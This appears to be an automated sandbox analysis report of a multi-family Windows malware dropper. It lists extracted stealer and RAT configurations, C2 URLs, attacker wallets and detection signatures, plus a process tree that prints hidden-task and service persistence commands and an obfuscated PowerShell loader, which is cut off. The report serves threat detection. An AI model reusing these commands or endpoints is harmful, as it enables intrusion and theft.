animateclipper | 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac

Analysis

user interaction
yes
max time kernel
2s
max time network
140s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
10/08/2026, 22:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2to1ep.exe
Size 13.1MB
Sample260810-2wmlaabl71
SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
MD5 7d1a85e807ff9b48edc2e08a01b35e07
SHA1 9d772258c620629c299bbad24c968b1cc476a6a1
SHA512 8553ca5d63c2667da0f1044a1c6d00713a5f7d826cd5e5e17cdcf1a2eed4ece844b7d16a06933c44273181d98d330eb944f8b72d835bdd31d75be7b3b75edc43
SSDEEP 196608:APPuglgRWUeR24iMqWNo2mtKVzurHm5POMP/XRL234tSoz2/Tsj+51nOxd:EPuhRW1R2JtWNhqKVzuC5zXA34tSQ
TLSH
T1D7D63338236406E7F4F6D734E940C4B6D6ABAD161B57C28383F8D56B2D232C16A373A5
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family

svcstealer

http://196.251.107.186/acovp/post.php
http://192.162.199.186/usovp/post.php
http://196.251.107.163/bioxp/post.php

Attributes

build_id
SlLoaded
srv_delay
1
srv_retry
1

Extracted

Family

animateclipper

bsc.blockrazor.xyz

Mutex

update-S-2-5-26-24247216-2331352693-3112950123

Wallets

0x8eb9a56afbe6d79aa90fba9c8f6af7321490c786
1B7GRvB1WMZYNCz5FdXocHicUyp8pj1FvX
1Ht6TLmpMc3xhN5euPZo5ecC4RJtfJrJu8
3BJquhr9pnQhMo1RCPJHsKnrUKgs8StkKT
8SjFSqSJ6DYAcBJrNGN76hEhcij5vtyJK5G819CvV7Fm
DKSfYvjh8hZwR6q3nNvtKYrgK892groxfd
LNMjkFCv1R2T5vwvuXmUFHHeJLmYAdgzX3
TSw3kk2GCyUUsGnvR2ZHSNoEaWkhfkGE1J
UQCYdXT16Xxzr1qCSVxxntce0-UYXmcqJ_aodkoq39Fv2E6f
XdJHMeC11gmiA5rpnJhu9cTax61q333o1g
bc1qw8wnedcwur3e4pq6qpdrquxpd09a5lss5glf77
cosmos1pgtakf0xe8ehexdgqz9c3lj436wyyg772qec8m
ltc1qs9whv7632zyrr828n7e6g5jqtq0ykgklvfm80u
qphwpg3ja0awpjt2vrfy5mxmk3h24vrswg9ll9umkm
rKaNCgLvMEXxNzMxj2F7FYi1AdRrTo6Nhu

Attributes

auth_token
824c6b4d-4f01-4e22-a500-c7d239e10480
contract
0x77c08D8A4Eab268fd5728ae8fE41b1FDE52967dF
headers
Authorization: 824c6b4d-4f01-4e22-a500-c7d239e10480

Content-Type: application/x-www-form-urlencoded

Extracted

Family

asyncrat

Botnet

Default

Attributes

delay
1
install
true
install_file
vortex.exe
install_folder
%AppData%
local_host
127.0.0.1

aes.plain

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

94.158.245.53:9992

Mutex

4abbc77f-27e2-4983-8fe9-6fafbfb7627b

Attributes

encryption_key
F5CCD6560C6A9C857BE240A8EE0DF9CF88BC3B2B
install_name
Client.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Extracted

Family

phantom_stealer

Version

v3.5.0

Mutex

1YA6UHTISPAQ669J8KKQ

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
0
keylogger
1
start_delay
0
startup
1

Extracted

Family

xworm

Version

217.195.153.81:50000

Mutex

s7PW4w8jaKnVmzgc

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: AnimateClipper,ZigClipper
AnimateClipper is a Windows crypto clipper that hijacks the clipboard to swap wallet addresses.
clipper stealer animateclipper
Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Family: Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
rat gh0strat
Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: SvcStealer, Diamotrix
SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.
stealer downloader svcstealer
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 1 IoCs

resource	yara_rule
behavioral1/memory/5824-859-0x0000000000530000-0x000000000117F000-memory.dmp	family_salatstealer

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral1/memory/1668-313-0x0000000001020000-0x000000000102E000-memory.dmp	family_xworm
behavioral1/memory/1668-317-0x0000000001020000-0x000000000102E000-memory.dmp	family_xworm
behavioral1/memory/1668-306-0x0000000001020000-0x000000000102E000-memory.dmp	family_xworm

Detects AnimateClipper 4 IoCs

resource	yara_rule
behavioral1/memory/5152-386-0x0000000140000000-0x0000000140040000-memory.dmp	family_animateclipper
behavioral1/memory/5152-385-0x0000000140000000-0x0000000140040000-memory.dmp	family_animateclipper
behavioral1/memory/5152-384-0x0000000140000000-0x0000000140040000-memory.dmp	family_animateclipper
behavioral1/memory/5152-383-0x0000000140000000-0x0000000140040000-memory.dmp	family_animateclipper

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral1/memory/1680-476-0x0000023AAE4B0000-0x0000023AAE6F2000-memory.dmp	family_donutloader

Detects PhantomStealer written in C# 2 IoCs

resource	yara_rule
behavioral1/memory/1116-336-0x00000183319B0000-0x0000018331A6E000-memory.dmp	family_phantomstealer
behavioral1/files/0x001900000002b647-753.dat	family_phantomstealer

Formbook payload 2 IoCs

rat

resource	yara_rule
behavioral1/memory/5248-469-0x0000000002660000-0x00000000026A6000-memory.dmp	family_formbook
behavioral1/memory/4044-389-0x0000000000C40000-0x0000000000C86000-memory.dmp	family_formbook

Gh0st RAT payload 2 IoCs

resource	yara_rule
behavioral1/memory/5676-488-0x0000000010000000-0x000000001034B000-memory.dmp	family_gh0strat
behavioral1/memory/5676-487-0x0000000010000000-0x000000001034B000-memory.dmp	family_gh0strat

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/5204-366-0x0000000000CD0000-0x0000000000FF4000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
8036	powershell.exe
7024	powershell.exe
7068	powershell.exe
6216	powershell.exe
9940	powershell.exe
7088	powershell.exe
5772	powershell.exe
5184	powershell.exe
11884	powershell.exe
8400	powershell.exe
9908	powershell.exe
6124	powershell.exe
7068	powershell.exe
12848	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
9908	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5724	netsh.exe
8424	netsh.exe

Signed with revoked ConnectWise certificate 1 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/memory/5160-367-0x00000000059C0000-0x0000000005CB2000-memory.dmp	revoked_cert_connectwise

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Loads dropped DLL 21 IoCs

pid	Process
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe
3348	2to1ep.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
9860	icacls.exe
12516	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Contacts third-party web service commonly abused for C2 1 TTPs 10 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
202	raw.githubusercontent.com
225	raw.githubusercontent.com
16	pastebin.com
21	raw.githubusercontent.com
100	raw.githubusercontent.com
227	raw.githubusercontent.com
242	raw.githubusercontent.com
247	raw.githubusercontent.com
284	pastebin.com
53	raw.githubusercontent.com

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
7	ip-api.com
21	api.ipify.org
156	api.ipify.org

Executes a VBScript file via the Windows Script Host. 1 TTPs 6 IoCs

execution

Visual Basic

T1059.005

pid	Process
10632	wscript.exe
3528	wscript.exe
6284	wscript.exe
3224	wscript.exe
7784	WSCript.exe
3412	wscript.exe

UPX packed file 51 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5676-488-0x0000000010000000-0x000000001034B000-memory.dmp	upx
behavioral1/memory/5676-487-0x0000000010000000-0x000000001034B000-memory.dmp	upx
behavioral1/memory/5676-484-0x0000000010000000-0x000000001034B000-memory.dmp	upx
behavioral1/memory/5824-416-0x0000000000530000-0x000000000117F000-memory.dmp	upx
behavioral1/memory/5824-859-0x0000000000530000-0x000000000117F000-memory.dmp	upx
behavioral1/memory/9452-1699-0x00007FFB00420000-0x00007FFB00431000-memory.dmp	upx
behavioral1/memory/9452-2464-0x00007FFAFD5F0000-0x00007FFAFD607000-memory.dmp	upx
behavioral1/memory/9352-2472-0x00007FFAF3CB0000-0x00007FFAF3CE0000-memory.dmp	upx
behavioral1/memory/9352-2471-0x00007FFAFD4C0000-0x00007FFAFD4D7000-memory.dmp	upx
behavioral1/memory/9352-2470-0x00007FFAFD4E0000-0x00007FFAFD4F2000-memory.dmp	upx
behavioral1/memory/9352-2469-0x00007FFAFD500000-0x00007FFAFD516000-memory.dmp	upx
behavioral1/memory/9452-2468-0x00007FFAF16E0000-0x00007FFAF17A4000-memory.dmp	upx
behavioral1/memory/9452-2467-0x00007FFAFD520000-0x00007FFAFD54C000-memory.dmp	upx
behavioral1/memory/9452-2466-0x00007FFAFD560000-0x00007FFAFD5A3000-memory.dmp	upx
behavioral1/memory/9452-2465-0x00007FFAFD5C0000-0x00007FFAFD5F0000-memory.dmp	upx
behavioral1/memory/9452-2463-0x00007FFAFD610000-0x00007FFAFD622000-memory.dmp	upx
behavioral1/memory/9452-2462-0x00007FFAFD630000-0x00007FFAFD646000-memory.dmp	upx
behavioral1/memory/9352-2461-0x00007FFAF3D10000-0x00007FFAF3D28000-memory.dmp	upx
behavioral1/memory/9452-2460-0x00007FFAF39E0000-0x00007FFAF39F8000-memory.dmp	upx
behavioral1/memory/9452-2459-0x00007FFAF3630000-0x00007FFAF3667000-memory.dmp	upx
behavioral1/memory/9352-2366-0x00007FFAE9BA0000-0x00007FFAEA294000-memory.dmp	upx
behavioral1/memory/9452-2302-0x00007FFAEA2A0000-0x00007FFAEA994000-memory.dmp	upx
behavioral1/memory/9452-1724-0x00007FFAFD7B0000-0x00007FFAFD7BD000-memory.dmp	upx
behavioral1/memory/9352-1723-0x00007FFAFDCA0000-0x00007FFAFDCAD000-memory.dmp	upx
behavioral1/memory/9452-1722-0x00007FFAF9E80000-0x00007FFAF9F92000-memory.dmp	upx
behavioral1/memory/9452-1721-0x00007FFAFD770000-0x00007FFAFD796000-memory.dmp	upx
behavioral1/memory/9452-1720-0x00007FFAFD7A0000-0x00007FFAFD7AB000-memory.dmp	upx
behavioral1/memory/9452-1719-0x00007FFAFDA50000-0x00007FFAFDB06000-memory.dmp	upx
behavioral1/memory/9452-1713-0x00007FFAFDB10000-0x00007FFAFDB3D000-memory.dmp	upx
behavioral1/memory/9352-1712-0x00007FFAFDB40000-0x00007FFAFDC52000-memory.dmp	upx
behavioral1/memory/9352-1711-0x00007FFAFDC60000-0x00007FFAFDC86000-memory.dmp	upx
behavioral1/memory/9352-1710-0x00007FFAFDC90000-0x00007FFAFDC9B000-memory.dmp	upx
behavioral1/memory/9352-1709-0x00007FFAFDCB0000-0x00007FFAFDD66000-memory.dmp	upx
behavioral1/memory/9352-1708-0x00007FFAFE530000-0x00007FFAFE55D000-memory.dmp	upx
behavioral1/memory/9452-1707-0x00007FFAFE560000-0x00007FFAFE8CF000-memory.dmp	upx
behavioral1/memory/9452-1698-0x00007FFB11160000-0x00007FFB1116D000-memory.dmp	upx
behavioral1/memory/9452-1697-0x00007FFB05CC0000-0x00007FFB05CDA000-memory.dmp	upx
behavioral1/memory/9452-1696-0x00007FFB00440000-0x00007FFB0046E000-memory.dmp	upx
behavioral1/memory/9452-1695-0x00007FFB110F0000-0x00007FFB1110C000-memory.dmp	upx
behavioral1/memory/9452-1474-0x00007FFB11170000-0x00007FFB1117F000-memory.dmp	upx
behavioral1/memory/9452-1473-0x00007FFB11110000-0x00007FFB11137000-memory.dmp	upx
behavioral1/memory/9352-1433-0x00007FFAECC80000-0x00007FFAECFEF000-memory.dmp	upx
behavioral1/memory/9352-1431-0x00007FFAF3D30000-0x00007FFAF3D41000-memory.dmp	upx
behavioral1/memory/9352-1430-0x00007FFAF3FD0000-0x00007FFAF3FDD000-memory.dmp	upx
behavioral1/memory/9352-1429-0x00007FFAF3FE0000-0x00007FFAF3FFA000-memory.dmp	upx
behavioral1/memory/9352-1428-0x00007FFAF4000000-0x00007FFAF402E000-memory.dmp	upx
behavioral1/memory/9352-1427-0x00007FFAF4030000-0x00007FFAF404C000-memory.dmp	upx
behavioral1/memory/9352-1426-0x00007FFAF4050000-0x00007FFAF405F000-memory.dmp	upx
behavioral1/memory/9352-1425-0x00007FFAF4060000-0x00007FFAF4087000-memory.dmp	upx
behavioral1/memory/9452-1421-0x00007FFAED270000-0x00007FFAED6B5000-memory.dmp	upx
behavioral1/memory/9352-1420-0x00007FFAED6C0000-0x00007FFAEDB05000-memory.dmp	upx

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral1/files/0x001900000002b647-753.dat	costura

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
7528	sc.exe
428	sc.exe
7040	sc.exe
5188	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x001800000002b793-1210.dat	pyinstaller

Event Triggered Execution: Installer Packages 2 TTPs 13 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
6380	msiexec.exe
7000	msiexec.exe
7660	msiexec.exe
9132	msiexec.exe
8940	msiexec.exe
10536	msiexec.exe
768	msiexec.exe
11292	msiexec.exe
11472	msiexec.exe
9720	msiexec.exe
8648	msiexec.exe
6160	msiexec.exe
6532	msiexec.exe

Executes a command shell one-liner 1 TTPs 17 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
7652	cmd.exe
8360	cmd.exe
9012	cmd.exe
10724	cmd.exe
1536	cmd.exe
4020	cmd.exe
2812	cmd.exe
10244	cmd.exe
4088	cmd.exe
1436	cmd.exe
1104	cmd.exe
9084	cmd.exe
9260	cmd.exe
5304	cmd.exe
5040	cmd.exe
4516	cmd.exe
1648	cmd.exe

Program crash 1 IoCs

pid	pid_target	Process
5948	5160	WerFault.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4476	PATHPING.EXE

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
108	msedge.exe
8940	chrome.exe

Inno Setup is an open-source installation builder for Windows applications. 1 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral1/files/0x001200000002ba4e-2053.dat	innosetup

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5504	taskkill.exe

Runs .reg file with regedit 1 IoCs

pid	Process
7088	regedit.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5064	schtasks.exe
6548	schtasks.exe
12632	schtasks.exe
12104	schtasks.exe
1788	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4224	Taskmgr.exe
4224	Taskmgr.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4224	Taskmgr.exe
Token: SeSystemProfilePrivilege	4224	Taskmgr.exe
Token: SeCreateGlobalPrivilege	4224	Taskmgr.exe

Suspicious use of FindShellTrayWindow 12 IoCs

pid	Process
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe
4224	Taskmgr.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1004 wrote to memory of 3348	1004	2to1ep.exe	82
PID 3348 wrote to memory of 4088	3348	2to1ep.exe	83
PID 4088 wrote to memory of 1788	4088	cmd.exe	84
PID 3348 wrote to memory of 1436	3348	2to1ep.exe	85
PID 1436 wrote to memory of 4224	1436	cmd.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1004
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4088
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1788
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1436
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:4224
- - C:\Users\Admin\AppData\Local\Temp\a\file_3481d91a938ab342.exe
    file_3481d91a938ab342.exe
    3⤵
    PID:2872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File update.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5184
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kc4mx4e5\kc4mx4e5.cmdline"
      4⤵
      PID:10336
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC0D5.tmp" "c:\Users\Admin\AppData\Local\Temp\kc4mx4e5\CSCFA1328CA3B34DDD9D2F116DC91EDDE.TMP"
        5⤵
        
        PID:8984
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /Delete /TN AdobeBootReinstall /F
      4⤵
      PID:11668
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i data.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:7660
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe gooddaycomingforu.hta
    3⤵
    PID:7692
- - C:\Users\Admin\AppData\Local\Temp\a\main2.exe
    main2.exe
    3⤵
    PID:6592
  - - C:\Users\Admin\AppData\Local\Temp\a\main2.exe
      main2.exe
      4⤵
      PID:6708
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:8360
- - C:\Users\Admin\AppData\Local\Temp\a\file_bec865d8acfd0630.exe
    file_bec865d8acfd0630.exe
    3⤵
    PID:8872
- - C:\Users\Admin\AppData\Local\Temp\a\discrete_69.7868.8_INSTALL.exe
    discrete_69.7868.8_INSTALL.exe
    3⤵
    PID:9748
  - - C:\Users\Admin\AppData\Local\Temp\is-UEIX6PO0RF.tmp\discrete_69.7868.8_INSTALL.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-UEIX6PO0RF.tmp\discrete_69.7868.8_INSTALL.tmp" /SL5="$204DA,2775941,905728,C:\Users\Admin\AppData\Local\Temp\a\discrete_69.7868.8_INSTALL.exe"
      4⤵
      PID:2568
- - C:\Users\Admin\AppData\Local\Temp\a\xx.exe
    xx.exe
    3⤵
    PID:8528
  - - C:\Users\Admin\AppData\Local\Temp\is-WYPON2N5I3.tmp\xx.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-WYPON2N5I3.tmp\xx.tmp" /SL5="$50372,4057916,1011712,C:\Users\Admin\AppData\Local\Temp\a\xx.exe"
      4⤵
      PID:8972
- - C:\Users\Admin\AppData\Local\Temp\a\svchost.exe
    svchost.exe
    3⤵
    PID:8604
  - - C:\Users\Admin\AppData\Local\Temp\a\svchost.exe
      svchost.exe
      4⤵
      PID:8836
- - C:\Users\Admin\AppData\Local\Temp\a\2.exe
    2.exe
    3⤵
    PID:2796
  - - C:\Users\Admin\AppData\Local\Temp\is-5YI5UH2IRD.tmp\2.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-5YI5UH2IRD.tmp\2.tmp" /SL5="$6044E,4057916,1011712,C:\Users\Admin\AppData\Local\Temp\a\2.exe"
      4⤵
      PID:5220
- - C:\Users\Admin\AppData\Local\Temp\a\file_b74843ad95bef0e9.exe
    file_b74843ad95bef0e9.exe
    3⤵
    PID:7144
  - - C:\Users\Admin\AppData\Local\Temp\sx0e59c058.exe
      "C:\Users\Admin\AppData\Local\Temp\sx0e59c058.exe"
      4⤵
      PID:10488
- - C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsClient.exe
    ScreenConnect.WindowsClient.exe
    3⤵
    PID:2984
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
      dw20.exe -x -s 1428
      4⤵
      PID:10172
- - C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe
    9z7BGnRGpgs8cZv7.exe
    3⤵
    PID:11028
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:12632
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"
      4⤵
      PID:13192
- - C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe
    gM9anpOuZNKX8zHj.exe
    3⤵
    PID:11436
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "DeviceMetadataRetrieval_e122" /tr "C:\Users\Admin\AppData\Roaming\WindowsUpdateCC85\SmartScreenHost27dac.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:12104
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe givenmethebestthignswithbetterplacescomingfromthebest.hta
    3⤵
    PID:724
- - C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exe
    file_3a1cc00092af29d0.exe
    3⤵
    PID:11756
- - C:\Users\Admin\AppData\Local\Temp\a\svc.exe
    svc.exe
    3⤵
    PID:11404
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" create WinUpdateHelper binPath= "\"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe\"" start= auto DisplayName= "Windows Update Helper Service"
      4⤵
      Launches sc.exe
      PID:428
- - C:\Users\Admin\AppData\Local\Temp\a\app.exe
    app.exe
    3⤵
    PID:9968
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i ScreenConnect.ClientSetup.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:8648
- - C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exe
    bot_x64.exe
    3⤵
    PID:12700
- - C:\Users\Admin\AppData\Local\Temp\a\wrm.exe
    wrm.exe
    3⤵
    PID:11304

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
PID:3236
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  PID:2540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Executes a command shell one-liner
    PID:1536
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5064
- - C:\Windows\system32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    - Executes a command shell one-liner
    PID:4020
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      PID:1948
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c file_457316565c5d19a2.cmd
    3⤵
    - Executes a command shell one-liner
    PID:4516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=17-56;$yIAnYBp=''k5XwE8pj'';$chwoge=''cc95a1a98ee0aeed92f397b89fb2f793a4fc9db38be1faf3cc95a9938ae6f493a4ed84b48cf78aafa8f186908efcbba7a4edafe7d5c1bfa3b4ed9ba996c2a8afb5f091b283b2e7e09ad197a9c1c1bfa3b4ed9ba996c2a8afb5f091b283c6a3b0a4c2c8e7bbfea9f1f392f8f98da4eefde6fbaa939ff0b7a3a6cac1b195f69d96b5d08b9fdef1e8acb4c58b9fbbf7828ef1c5a5ed9ac7b796acfdb58b85f69dacb7fd98ae88f19296a8fdb5b185db9d8eb2c6aa9395db9c82aec6a5e8dff0e8f189c6aa8f83f7e982f0c69fa59fcba382bbfbb59bdff38d8da6ceaa9395c88df1a8fdbab688c69df9a9c5b79b95f1e896b5c69fa5dad99d8af4fbb58b8dca8982afd4aaa9adf1e98eadfda5979cf78982aecfa79b95f1e896b5c69fa5dadeb1a4adfbb78bdbc88d8ef0fbb5b19ac8ea86bbfcc08b9bcbb7b8f4d4b1b6d8db9dacacd4b5ba88db8ef1b4fba5a59cd982b4f8d6ba9783f69296b8fd9b9fadf1928284fdc0ec87f38df4b4cec18b96f1b796b4fbb78f99f08d86b1fd9be8a2f0e886aad4b5be9fdde9f1f8b8ffd7aef6beed95e682b8cfbf8eb9b1fab6b889fbb4a9b5f69db3cfba8194a4e786f3aafcb9afa5f69cbab2a8e09595d9caf3a8f7ae93b5ed9bb388ba8183aef184b89de687fafbd980b282d0bbb3a4a9c68e9be0b3aea6b7d6bfd9a6f3e9e892f8bb9afcb9b4a8f09cfd8